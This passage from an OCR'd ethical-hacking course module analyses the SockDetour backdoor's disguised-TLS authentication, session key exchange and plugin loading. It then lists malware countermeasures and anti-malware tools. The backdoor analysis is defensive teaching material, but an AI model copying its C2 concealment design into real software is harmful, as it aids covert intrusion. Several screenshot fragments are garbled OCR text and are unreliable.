The malware verifies and validates C2 connections as follows:


o The authentication data from the client are shown in the table below. Initially, 137
bytes of data are expected from the client for authentication.

128-byte data
17 03 03 AA BB CC DD EE FF
block
Fixed header value Four-byte variable Data signature for
Size of the
to disguise TLS used for client client authentication
payload data
traffic authentication data block

Table 7.6: Data structure of SockDetour client authentication

o Examine the initial 9 bytes of data, which are obtained using the recv () function
along with the option MSG_PEEK since it does not interrupt the legitimate
service's traffic even after discarding data from the socket queue.
o Check if the data begin with 1 7 03 03, which is a commonly recorded header for
TLS transactions during encrypted data transmission, which can be shown only after
performing the appropriate TLS handshake .

. text:000007FEFAB84823
.text :000007FEFAB84823 loc 7FEFAB84823 : ; CODE XREF: _hookingFunc+87tj
. text:000007FEFAB84823 mov r 9d, MSG_PEEK ; flags
.text:000007FEFAB84829 mov r8d, 9 ; len
. text :000007FEFAB8482F l ea r dx, [rsp+218h+_RecvBuf] ; buf
. text:000007FEFAB84837 mov r cx, [rsp+218h+s ] ; s
.text:000007FEFAB8483C ca l l cs :r e cv ; r ecv 9 bytes
. text:000007FEFAB84842 mov [rsp+218h+Buf2] , 17h
. text:000007FEFAB84847 mov [rsp+218h+var_1D3 ] , 3
.text:000007FEFAB8484C mov [rsp+218h+var_1D2) , 3
.text:000007FEFAB84851 mov r 8d, 3 ; Size
. text:000007FEFAB84857 l ea r dx, [ r s p+218h+Buf2 ] ; Buf2
.text:000007FEFAB8485C l ea rcx, [rsp+218h+_RecvBuf] ; Bufl
.text :000007FEFAB84864 ca l l memcmp data should start with 17 03 03
.text:000007FEFAB84869 test eax, eax
---- -
Figure 7.133: SockDetour receiving and verifying data

o Check if the payload data size (AA BB) is not greater than 251.

Module 07 Page 1183 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

o Check if the next four bytes of the payload (CC DD EE FF) satisfy the following
conditions:
• The result is 88 aO 90 82 after performing bitwise AND with 88 aO 90
82 .

• The result is fd f5 fb ef after performing bitwise OR with fd f5 fb ef.

o Now, examine the complete 137 bytes of data from the same socket data queue
with the option MSG_PEEK for further authentication.
o Then, create a 24-byte data block as shown in the table.

08 le cl 78 d4 b3 a2 b8 ae 63 bb
CC DD EE FF
13 3a d7 Of ab 03 e8 ff 3b

Four bytes received from


10 bytes hardcoded in 10 bytes hardcoded in
the client for
SockDetour SockDetour
authentication

Table 7.7: Block data to be verified for client authentication

o Using an embedded public key against the 128-byte data signature in the above
table, the above 24-byte data block is hashed and verified. The data signature is
generated by signing the hash of the same 24-byte data block through its
corresponding private key.
Client authentication is achieved with the above steps. Now, the malware takes control
over the TCP session via the recv () function without adding the MSG_PEEK option
because the session is already verified for backdoor persistence.
Further, SockDetour generates a 160-bit session key through a hardcoded initial vector
value bvyiafszmkj smqgl. Now, the malware transmits it to the remote client using
the data structure given in the below table.

CC DD EE
17 03 03 AA BB session_key random_padding
FF

Fixed header
value to Payload data Session key 160-bit session
Random padding
disguise TLS size length key
traffic
Table 7 .8 Sock Detour session key sent to the cli ent

As a result, the C2 connection can be encrypted over the hijacked socket as the session
key is already shared between SockDetour and the remote client.

Module 07 Page 1184 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Plugin Loading Feature


Being a backup backdoor, SockDetour can load a plugin DLL. After successful sharing of
the session key, the malware receives four bytes of data from the client, where four
bytes is the size of data that SockDetour receives for final payload delivery.
Using the shared session key, the received final payload data are encrypted. The
received payload data will be encoded in the JSON format with two objects app and
args after its decryption. The app object holds a base 64-encoded DLL, and the args
object holds an argument set to be transferred to the DLL.
Now, the malware loads this plugin DLL into the newly allocated memory space and
invokes an export function ThreadProc, along with the argument given in the
following JSON structure:

"sock": hijacked_socket,
"key" : session_key,
"args": arguments_received_from client
}

As plugin DLL samples were not identified, the argument given above informs that the
plugin can interact via the hijacked socket and encrypts the TLS transaction via the
above-generated session key. In this manner, SockDetour serves as a stealthy backup
backdoor.

Module 07 Page 1185 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

10#07: Explain Malware Countermeasures

Copynght O by EC-CH■CII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Malware Countermeasures
Malware is commonly used by attackers to compromise target systems. Preventing malware
from entering a system is far easier than eliminating it from an infected system.
This section presents various countermeasures that prevent malware from entering a system
and minimize the risk it causes upon entry.

Module 07 Page 1186 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Trojan Countermeasures

Avoid opening email attachments received Avoid downloading and executing applications
from unknown senders from untrusted sources

Block all unnecessary ports at the host and Install patches and security updates for the OS
firewall and applications

Avoid accepting programs transferred by instant Scan external USB drives and DVDs with antivirus

J J
messaging software before using them

Harden weak, default configuration settings, Restrict permissions within the desktop
and disable unused functionality including environment to prevent the installation
protocols and services of malicious applications

Monitor the internal network traffic for odd Run host-based antivirus, firewall, and intrusion
ports or encrypted traffic detection software

Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Trojan Countermeasures
Some countermeasures against Trojans are as follows:
• Avoid opening email attachments received from unknown senders.
• Block all unnecessary ports at the host and use a firewall.
■ Avoid accepting programs transferred by instant messaging.
■ Harden weak default configuration settings and disable unused functionalities, including
protocols and services.
■ Monitor the internal network traffic for odd ports or encrypted traffic.
■ Avoid downloading and executing applications from untrusted sources.
• Install patches and security updates for the OS and applications.
■ Scan external USB drives and DVDs with antivirus software before using them .
■ Restrict permissions within the desktop environment to prevent the installation of
malicious applications.
■ Avoid typing commands blindly and implementing pre-fabricated programs or scripts.
■ Manage local workstation file integrity through checksums, auditing, and port scanning.
• Run host-based antivirus, firewall, and intrusion detection software.
• Avoid clicking on unsolicited pop-ups and banners.
■ Exercise caution in the use of peer-to-peer file sharing.
■ Prefer ISPs that provide network security and have robust anti-spam techniques.

Module 07 Page 1187 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Disable the autorun option for external devices such as USB drives and hard drives.
■ Check the Secure Socket Layer (SSL) authenticity before accessing any e-commerce
website to avoid information sniffing.

Module 07 Page 1188 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Backdoor Countermeasures

a M ost co mmercial antivirus products ca n automatica lly scan and detect backdoor programs before they ca n
cause damage

[a Educate users to avo id installing applications dow nloaded from untrusted Internet sites and email attachments

L• Avoid untrusted software and ensu re that every device is prot ected by a firewall

La Use antivirus tools such as Bitdefender, and Kasperskyto detect and eliminate backdoors

I El Track open-source projects that enter the enterprise from untrusted external sources, such as open-source
code reposito ries

La Inspect network packets using protocol monitoring t ools

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Backdoor Countermeasures
Some common countermeasures against backdoors are as follows:
■ Most commercial antivirus products can automatically scan and detect backdoor
programs before they can cause damage.
■ Educate users to avoid installing applications downloaded from untrusted Internet sites
and email attachments.
■ Avoid untrusted software and ensure that every device is protected by a firewall.
■ Use antivirus tools such as Bitdefender and Kaspersky to detect and eliminate
backdoors.
■ Track open-source projects that enter the enterprise from untrusted external sources
such as open-source code repositories.
■ Inspect network packets using protocol monitoring tools.
■ If a computer is found to be infected by backdoors, restart the infected com puter in the
safe mode with networking.
■ Run registry monitoring tools to find malicious registry entries added by the backdoor.
■ Remove or uninstall the program or application installed by the backdoor Trojan or
virus.
■ Remove the malicious registry entries added by the backdoor Trojan .
■ Delet e malicious files related to the backdoor Trojan.

Module 07 Page 1189 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Ensure that the device has the auto-update option enabled to keep it updated with
software-related security patches.
■ Implement the pipeline emission analysis method to check and analyze hardware-based
backdoors, which can be attached during the manufacturing process.
■ Avoid using hardware components obtained from untrusted shopping sites or black
markets, which allow attackers to easily inject backdoor into the hardware.
■ If any abnormal behavior is detected, restore the device to factory settings and
reconfigure it with new credentials.
■ Check for user ratings and reviews before installing and providing permissions to any
product, even if it is downloaded from trusted sources.

Module 07 Page 1190 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Virus and Worm Countermeasures

a Install antivirus software and update it regularly II Regularly mainta in data backup
I
II Generate an antivirus policy for safe comp ut ing and
distribute it t o t he staff II Stay informed abo ut th e latest virus threats

II Schedule regular scans for all drives after t he installat ion


of antivirus software II Ensure the pop-up blockers are enab led and use an
Internet firewa ll

II Pay attention to t he instructions wh ile downloading


files or any progra ms from the Internet m Perform disk clean-up and run a regist ry scan ner once
a week

II Avo id opening attachments received from unknown


sen ders, as viruses spread via em ail attachments m Run anti-spyware o r anti-adware once a week

a Do not accept disks or programs wit hout checki ng t hem


first using a current version of an antivirus program
m Do not open f iles with more than one file type extension

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Virus and Worm Countermeasures


Some countermeasures against viruses and worms are as follows:
■ Install antivirus software that detects and removes infections as they occur.
■ Generate an antivirus policy for safe computing and distribute it to the staff.
■ Pay attention to the instructions while downloading files or programs from the Internet.
■ Regularly update antivirus software.
■ Avoid opening attachments received from unknown senders, as viruses spread via email
attachments.
■ Since virus infections can corrupt data, perform regular data backups.
■ Schedule regular scans for all drives after the installation of antivirus software.
■ Do not accept disks or programs without checking them using the current version of an
antivirus program.
■ Ensure that any executable code used within the organization has been approved.
■ Do not boot the machine with an infected bootable system disk.
■ Stay informed about the latest virus threats.
■ Check DVDs for virus infection.
■ Ensure that pop-up blockers are enabled and use an Internet fi rewall.
■ Perform disk clean-up and run a registry scanner once a week.
■ Run anti-spyware or anti-adware once a week.

Module 07 Page 1191 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Do not open files with more than one file type extension.
■ Exercise caution with files sent through instant messaging applications.
■ Perform regular checkups on installed programs and stored data.
■ Employ an effective email filter and scan emails on a regular basis.

Module 07 Page 1192 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Fileless Malware Countermeasures

a Remove all the administrative tools and restrict access


through Windows Group Policy or WindowsApplocker II Implement two-factor authentication to access critical
systems or resources connected to the network

Implement multi-layer security to detect and defend


111 Disable PowerShell and WM I when not in use
111 against memory-resident malware

II Disable macros and use only digitally signed, trusted


macros II Run periodic antivirus scans to detect infections and
keep antivirus program updated

Install whitelisting solutions such as McAfee Application

1■
Install browser protection tools and disable automatic
Control to block unauthorized applications and code
running on the systems 11!1 plugin downloads

II ~
Train employees to detect phishing emails and to never
Regularly update and patch applications and OS
enable macros in MS Office documents

111 Disable PDF readers to run JavaScript automatically


m Use NGAV software that employs advanced technology
such as Al/ML to prevent new polymorphic malware

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Fileless Malware Countermeasures


Some countermeasures against fileless malware attacks are as follows:
■ Remove all the administrative tools and restrict access through Windows Group Policy
or Windows Applocker.
■ Disable PowerShell and WMI when not in use.
■ Disable macros and use only digitally signed, trusted macros.
■ Install whitelisting solutions such as McAfee Application Control to block unauthorized
applications and code running on the systems.
■ Train employees to detect phishing emails and to never enable macros in MS Office
documents.
■ Disable PDF readers to run JavaScript automatically.
■ Disable Flash in the browser settings.
■ Implement two-factor authentication to access critical systems or resources connected
to the network.
■ Implement multi-layer security to detect and defend against memory-resident malware.
■ Use user behavior analytics (UBA) solutions to detect threats hidden within the data.
■ Ensure the ability to detect system tools such as PowerShell and WMIC as well as
whitelisted application scripts to protect against malicious attacks.
■ Run periodic antivirus scans to detect infections and keep the antivirus program
updated.

Module 07 Page 1193 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Install browser protection tools and disable automatic plugin downloads.


■ Schedule regular security checks for applications and regularly patch the applications.
■ Regularly update the OS with the latest security patches.
■ Examine all the running programs for any malicious or new signatures and heuristics.
■ Enable endpoint security with active monitoring to protect networks when accessed
remotely.
■ Examine the indicators of compromise (loCs) on the system and network.
■ Regularly check the security logs, especially when excessive amounts of data leave the
network.
■ Restrict admin rights and provide the least privileges to the user level to prevent
privilege escalation attacks.
■ Use application control to prevent Internet browsers from spawning script interpreters
such as PowerShell and WMIC.
■ Carefully examine the changes in the system's behavior patterns with respect to the
baselines.
■ Use next-generation antivirus (NGAV) software that employs advanced technology such
as machine learning (ML) and artificial intelligence {Al) to prevent new polymorphic
malware.
■ Use baseline and search for known tactics, techniques, and procedures (TTPs) used by
many adversarial groups.
■ Use managed detection and response {MOR) services that can perform threat hunting.
■ Use tool s such as Blackberry Cylance and Microsoft Enhanced Mitigation Experience
Toolkit (EMET) to combat fileless attacks.
■ Disable unused or unnecessary applications and service features.
■ Uninstall applications that are not important.
■ Block all the incoming network traffic or files with the .exe format.
■ Check if any PowerShell scripts are masked in any of the drives or in the\TEMP folder.
■ Utilize projects such as AltFS, which provides insights into how fileless malware usually
works on targeted devices.

Module 07 Page 1194 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

10#08: Demonstrate the Use of Anti-Malware Software

Copyright Cl by (C-CIUICil All Rights Reserved Reproduction 1s Stnct!y Proh1b1ted

Anti-Malware Software
An attacker uses malware to commit online fraud or theft. Thus, the use of anti-malware
software is recommended to help detect malware, remove it, and repair any damage it might
cause. This section lists and describes various anti-malware (anti-Trojan and antivirus) software
programs.

Module 07 Page 1195 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Anti-Trojan Software
Kaspersky Internet Security McAfee® LiveSafe'" (https://www.mcafee.com)
Kaspersky Internet Security provi des protection aga i nstTroja ns,
Norton 360 Premium (https://us.norton.com)
v iruses, spyware, ransomware, phishing, an d dangerous websites
Bitdefender Total Security (https://bitdefender.com)
~ 8
Kaspersky
Internet Security Hitm an Pro ( https://www.hitmonpro.com)

~
Malwarebytes Premium
(https://www.malwarebytes.com)
Device is protected >
Zemana Antimalware(https://www.zemana.com)

q,,

- -· ~
Q. 8 0 Emsisoft Anti-Malware Home
0
R,eel,TmeProlect,on Call&Textfilter
"'"""" (https://www.emsisaft.com)

l!A
"""""
s
Te<tAnb-F'tloshing
• ®
PrrvacyProtKIIOO
Malicious Software Removal Tool
(https://www.micrasaft.com)

SUPERAntiSpyware
(https://www.superantispyware.com)

Plum bytes Anti-Malware (https://plumbytes.com)


https://www.kospersky.com

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Anti-Trojan Software
Anti-Trojan software is a tool or program that is designed to identify and prevent malicious
Trojans or malware from infecting computer systems or electronic devices_ Anti-Trojan tools
may employ scanning strategies as well as freeware or licensed tools to detect Trojans, rootkits,
backdoors, and other types of potentially damaging software.

Module 07 Page 1196 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ Kaspersky Internet Security


Source: https://www.kaspersky.com
Kaspersky Internet Security protects devices from various types of intrusions due to
Trojans, viruses, spyware, ransomware, phishing, and dangerous websites. It securely
stores passwords for easy access on PC, Mac, and mobile. It makes backup copies of
photos, music, and files and also encrypts data on PC. Furthermore, it automatically
blocks inappropriate content and helps you manage the use of social networks. In
addition, it provides extra security when you shop or bank on line on PC or Mac.

Device is protected >

,...,,
"--' 0
Scan Update Real-Time Protection Call & Text Filter Anti•Theft 0

®
App Lock Text Ant1·Ph1shrng Internet Protection Privacy Protection

Figure 7.134: Screenshot of Kaspersky Internet Security

Some additional anti-Trojan software are as follows:


■ McAfee® LiveSafe™ (https://www.mcafee.com)
■ Norton 360 Premium (https://us.norton.com)
■ Bitdefender Total Security (https://bitdefender.com)
■ HitmanPro (https://www.hitmanpro.com)
■ Malwarebytes (https://www.malwarebytes.org)
■ Zemana Antimalware (https://www.zemana.com)
■ Emsisoft Anti-Malware Home (https://www.emsisoft.com)
■ Malicious Software Removal Tool (https://www.microsoft.com)
■ SUPERAntiSpyware (https://www.superantispyware.com)
■ Plumbytes Anti-Malware (https://plumbytes.com)

Module 07 Page 1197 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Antivirus Software
Bitdefender Antivirus Plus e ClamWin (https://www.clamwin.com)
Bitdefender Antivirus Plus works against all threats - from
I viruses, worms and Trojans, to ransomware, zero-day exploits,
8 Kaspersky Anti-Virus (https://www.kaspersky.com)
~ otkits and spywa re 8 McAfee AntiVirus Plus (https://www.mcafee. com )

8 Norton AntiVi ru s Plus (https://us.narton.com)

e Avast Premier Antivirus (https://www.avast.com)


You are safe
W. re loolong out le y, ....- devt • 'w:I do1t..,, e ESET Internet Security (https://www.eset.cam)

e AVG Antivirus FREE (https://free.avg.com)


e Avira Antivirus Pro (https:j/www.avira.com)
e Trend Micro Maximum Security
QUICK SCAN VPN (https://www.trendmicro.com)
"""'"""
I STAJIJSCAN 0 """"'
OPlNVPN 0 8 Panda Total protection
(https://www.pandasecurity.com)
0 8 Web root SecureAnywhere Antivirus
I - I (https:j/www.webroot.com)
https://www.bitdefender.com

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Antivirus Software
It is essential to update antivirus tools to monitor the data passing through a system. Such tools
may follow specific or generic methods to detect viruses. Generic methods look for virus-like
performance rather than a specific virus. These tools do not specify the virus type but warn the
user of a possible virus infection. Generic methods can raise false alarms; hence, they do not
perform well in terms of detecting precise virus forms. Specific methods look for known virus
signatures in the antivirus database and ask the user to choose the necessary action to be
taken, such as repair and delete.
It is a good practice for organizations to install the most recent version of the antivirus software
and regularly update it to keep up with the introduction of new viruses in the market. Updating
of antivirus software by the respective vendors is a continuous process.
• Bitdefender Antivirus Plus

Source: https://www.bitdefender.com
Bitdefender Antivirus Plus works against all threats, from viruses, worms, and Trojans to
ransomware, zero-day exploits, rootkits, and spyware. It uses a technique called
behavioral detection to closely monitor active apps. As soon as it detects suspicious
activity, it takes decisive action to prevent infection. It sniffs and blocks malicious
websites that masquerade as trustworthy websites to steal financial data such as
passwords or credit card numbers.

Module 07 Page 1198 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

m&1.de'ende< AntMM l'tus

You are safe


We re looking out ro your devic.. dnd data

• VULNERABILITY RECOMMENDATION ,1,


VIEW ACCOUNTS
so~ w,nctows accounts havt weak passwords anct run ltlt
Gill nsk of being accessed by an imruder. set a stro,iger
~ ..,

QU ICK SCAN VPN


P!IOTECTION

START SCAN 0 P<l.lVACY

OPENVPN 0
m An11v11us Plus
u,. ,.., ~e-d de...,c~s

[ Install on anoditr dtlllC. I


( ' ) Safepay
PRNACY

Optn
0
M>O A QUICK ACTION

Figure 7.135: Screenshot of Bitdef ender Ant ivirus Plus

Some additional antivirus software are as follows:

• ClamWin (https://www.clamwin.com)
• Kaspersky Anti-Virus (https:// www.kaspersky.com)

■ McAfee AntiVirus Plus (https://home.mcafee.com)


■ Norton AntiVirus Plus (https://us.norton.com)

• Avast Premier Antivirus (https://www.avast.com)


• ESET Internet Security (https:/ / www.eset.com)

• AVG Antivirus FREE (https://free.avg.com)


■ Avira Antivirus Pro (https://www.avira.com)
• Trend Micro Maximum Security (https://trendmicro.com)

• Panda Total protection (https://www.pandasecurity.com)

• Webroot SecureAnywhere Antivirus (https:// www.webroot.com)

Module 07 Page 1199 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Fileless Malware Detection Tools


Alien Va ult" USM Anywhere'" provides a single unified
AlienVault® USM
platform for threat detection, incident response, and : '= Quick Heal Total Security
Anywhere TM , https ://www.quickheol.com
com pliance management

120 . . 299 . ,
Fl

~
, , ,;, ' """"'"' 7Response (EDR)
https://www.trendmkro.com

~
r
Defender Check
https://github.com

0 FCL
https://github.com

~ l
CYNET 360
https://www.cynet.com

https://cybersecurity.orr.com
Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Fileless Malware Detection Tools


Various tools used to detect fileless malware threats on endpoint devices and systems are
discussed below:
■ AlienVault® USM Anywhere™

Source: h ttps ://cybersecurity. att. com


AlienVault® USM Anywhere™ provides a unified platform for threat detection, incident
response, and compliance management. It centralizes security monitoring of networks
and devices in the cloud, on premises, and at remote locations, thereby helping you to
detect threats virtually anywhere.

Module 07 Page 1200 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

~ DASHBOARDS ,,, ACTIVITY ,,, ENVIRONMENT ,., REPORTS ,.,, SETTINGS ,., *o 2i o
NIDS c c, Last 24 Hours v f All As ts v

Assets With Matware Act1V1ty Top s,gnalures Top Matware Fam1I ",

120 .• 299 ., ET SCAN SSH Btutef'orce TOOi w th fake PUTTY vers, 7.193 Zbo<

ET SCAN P<>len!>al SSH Scan 5.09<


Top Categ<>l'ies
ET POI.ICY HTTP Re,(lue!.110 SU TLO (SOVH1\ Umon) 3,837 W321lr

ET ONS Oue,y to a, • pw doma,n Ui<ety H~t le 2)10 c, 30

ETPOllCYr~to )()Q(flO 2.SJS


Top Matware DestJnat10n
ET !NFO JAVA ClaulO 2307

ET POllCY DNS Ou~ For XXX Adult Site Top Lewi 1.79,4

ET INFO HTTP ~ s t to a• pw doma n 1.590


a UnbdStates ,."
ET DNS Query f(K su no r.;o,.tet Un.on) Otten Ma~ 1,466
·•~iv
Top Categ<>fles / SubCatego11es T Top EKplou Activity

30.7'11', lnlo,m,Hoon C.sclostlf•

"'~
• PolicyVKJllltion n•"CodttElleculion

• Information
'"'""'"""

Figure 7.136: Screensho t of AlienVault® USM Anywhere™

Some additional tools for detecting fileless malware threats are as follows:

• Quick Heal Total Security (https://www.quickheal.com)


■ Endpoint Detection and Response (EDR) (https://www.trendmicro.com)

■ Defender Check (https://github.com)

• FCL (https://github.com)

• CYNET 360 (https:/ /www.cynet.com)

Module 07 Page 1201 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Fileless Malware Protection Tools


Microsoft Defender for Endpoint r. Kaspersky End Point Se,,.ur;i~tyl
Microsoft Defender for Endpoint is an enterpri se en dpoint security p latform
designed to help enterprise net works prevent, detect, investigate, and respond
~ for Business
https://www.kaspersky.com

____ t_o_a_d_va
_n_c_ed
_ t_h_re_a_ts__-,-_-
_ -_-_-----~--• ---~•=&
-:---~----------~-----~----_-.,, [] Trend Micro Smart Protection
Suites

,~
https://www.tre ndmicro.com
9

Risk level: High 1 logged on user Exposure level: Medium (60)


68 active s.curity
recommendations Norton 360 with Lifelock Select

,~
47 installed software https://us.norton.com
335 discovered vulnerabilitie s

REVE Antivirus
https:/Jwww.reveontlvirus.com

https://docs.microsoft.com
BlackBerry Spark Suites
https:/Jwww.blockberry.com
]
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Fileless Malware Protection Tools


Various tools used to protect systems, networks, and other devices connected to the network
from fileless malware threats are discussed below:
• Microsoft Defender for Endpoint

Source: https://docs.microsoft.com
Microsoft Defender for Endpoint is an enterprise endpoint security platform designed to
help enterprise networks prevent, detect, investigate, and respond to advanced threats.
It can inspect fileless threats even with heavy obfuscation . The machine learning
technologies used in the cloud provide protections against new and emerging threats.

Module 07 Page 1202 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

,... Risk level: High 1 logged on user Exposure level: Medium (60)

......,... 68 active security


recommendations
■ i...,t, rZ! • ......_, ■ u. (H
47 installed software
335 discovered vulnerabilities

_
WondowllOIM
....,_,.S.i"6a
&-dl01S01000

....
-

Figure 7.137: Screenshot of Microsoft Defender for Endpoint

Some additional fileless malware protection tools are as follows:


• Kaspersky End Point Security for Business (https:/ /www.kaspersky.com)

• Trend Micro Smart Protection Suites (https://www.trendmicro.com)


■ Norton 360 with Lifelock Select (https://us.norton.com)

■ REVE Antivirus (https://www.reveantivirus.com)


• BlackBerry Spark Suites (https://www.blackberry.com)

Module 07 Page 1203 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Module Summary

□ In this module, w e discussed the follow ing:


a
► Concepts of malware and mal ware propagation techniques

► Concepts of Potentially unwanted applications {PUAs) and ad ware



► Concepts of APT and its lifecycle
► Concepts ofTrojans, their types, and how they infect system s

► Concepts of viruses, their types, and how t hey infect files along w ith the concept of
computer worms

► Concepts offileless malware and how t hey infect files

► How to perform static and dynamic m alware analysis and explained different
techniques to detect malw are
► Var ious Trojan, backdoo r, virus, and w orm countermeasures
► Var ious Ant i-Trojan and Antivirus t ools

□ In the next module, w e w ill discuss in detail how attackers as well as ethical hackers and
pen testers perform sniffing to collect information on a target of evaluation

Copyright C> by (C-CllllCII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Module Summary
This module presented the concepts of malware and malware propagation techniques. It
explained potentially unwanted applications (PUAs) and adware. It also discussed the concepts
of APT and its lifecycle. Furthermore, it described the concepts of Trojans, their types, and how
they infect systems. In addition, it described the concepts of viruses, their types, and how they
infect files. Next, it discussed the concepts of computer worms. Moreover, it explained the
concepts of fileless malware and how it infects files. It further demonstrated static and dynamic
malware analysis and described various techniques to detect malware. This module also
presented various measures against Trojans, backdoors, viruses, and worms. Finally, the
module ended with a detailed discussion on various anti-Trojan and antivirus tools.
In the next module, we will discuss in detail how attackers as well as ethical hackers and pen
testers perform sniffing to collect information on a target of evaluation.

Module 07 Page 1204 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.

You might also like